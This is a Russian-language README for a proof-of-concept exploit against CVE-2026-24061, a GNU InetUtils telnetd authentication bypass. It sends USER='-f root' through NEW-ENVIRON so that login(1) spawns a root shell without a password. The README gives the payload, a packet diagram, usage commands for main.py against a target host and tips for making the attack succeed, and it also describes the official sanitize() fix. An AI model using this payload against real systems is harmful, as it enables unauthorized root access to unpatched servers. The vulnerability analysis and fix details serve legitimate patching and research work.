
Эксплойт proof-of-concept для CVE-2026-24061 — обход аутентификации в telnetd через внедрение аргументов в переменную окружения USER, позволяющий неавторизованный доступ к root-оболочке.
инъекция аргументов в telnetd из GNU InetUtils. Версии 1.9.3 до 2.7. CVSS 9.8. В CISA KEV с 26.01.2026, то есть активно эксплуатируется в дикой природе.
Весь трюк заключается в том, что telnetd берёт значение переменной окружения USER от клиента через NEW-ENVIRON (RFC 1572) и вставляет его без какой-либо валидации прямо в вызов login(1). Если клиент отправит USER="-f root", то telnetd запустит:
/usr/bin/login -p -h <host> -f root
Флаг -f в login означает «войти как этот пользователь без пароля». Шелл root, ноль аутентификации.
В telnetd/telnetd.c есть шаблон вызова login:
char *login_invocation = PATH_LOGIN " -p -h %h %?u{-f %u}{%U}";
%u — это пользователь из telnet-аутентификации (доверенный). %U — сырое значение env USER от клиента (недоверенный). Когда аутентификация не активна, используется %U.
Расширение переменных находится в telnetd/utility.c, функция _var_short_name:
case 'U':
return getenv("USER") ? xstrdup(getenv("USER")) : xstrdup("");
Ноль фильтрации. Всё, что клиент отправит в USER, летит прямо в командную строку login. Не только -f root работает, теоретически можно вставить любой аргумент, который принимает login.
Баг внесён в апстримном safe-guard коммите от 2015-03-19 (fa3245ac). По иронии, этот коммит должен был исправить обработку переменной USER. Debian имел патч для этого в 2019 (0028-telnetd-Scrub-USER-from-environment.patch), но при фиксе CVE-2020-10188 в Debian 10 патч потерялся и баг вернулся. Поэтому уязвимы также Debian 10+, Ubuntu и производные.
main.py — это минимальный telnet-клиент, который:
IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SElogin -f root, получаешь шеллклиент сервер
|--- tcp connect ------------------->|
|<-- IAC DO NEW_ENVIRON -------------|
|--- IAC WILL NEW_ENVIRON ---------->|
|<-- IAC SB NEW_ENVIRON SEND --------|
|--- SB NEW_ENVIRON IS |
| VAR "USER" VALUE "-f root" |
| IAC SE ------------------------>|
| [telnetd: login -p -h x -f root]|
|<-- root@host:~# ------------------|
python3 main.py <host>
python3 main.py <host> -p <port>
Ctrl+C завершает сессию.
Не пробуй это на системах, где нет inetutils-telnetd. Пакет telnetd из netkit — это другой код, он не уязвим к этому конкретному багу. Если ты подключаешься и получаешь обычный login prompt вместо шелла, то либо на сервере уже стоит патч, либо это не inetutils telnetd.
Не меняй payload на -f <другой_пользователь> в ожидании, что это сработает на любой системе. login(1) из некоторых дистрибутивов имеет дополнительные ограничения на -f. На стандартном Debian/Ubuntu -f root работает без проблем.
| софт | версии |
|---|---|
| GNU InetUtils | 1.9.3 - 2.7 |
| Debian 10+ | inetutils-telnetd (до патча) |
| Debian 11 | исправлено в 2:2.0-1+deb11u3 |
| Ubuntu | inetutils-telnetd (до патча) |
Официальный фикс добавляет функцию sanitize(), которая отклоняет значения, начинающиеся с - или содержащие shell metachars. Применяется ко всем переменным в расширении, не только к USER.
static char *
sanitize (const char *u)
{
if (u && *u != '-' && !u[strcspn(u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")])
return u;
else
return "";
}
fd702c0 - патч USERccba9f7 - санитизация всех переменных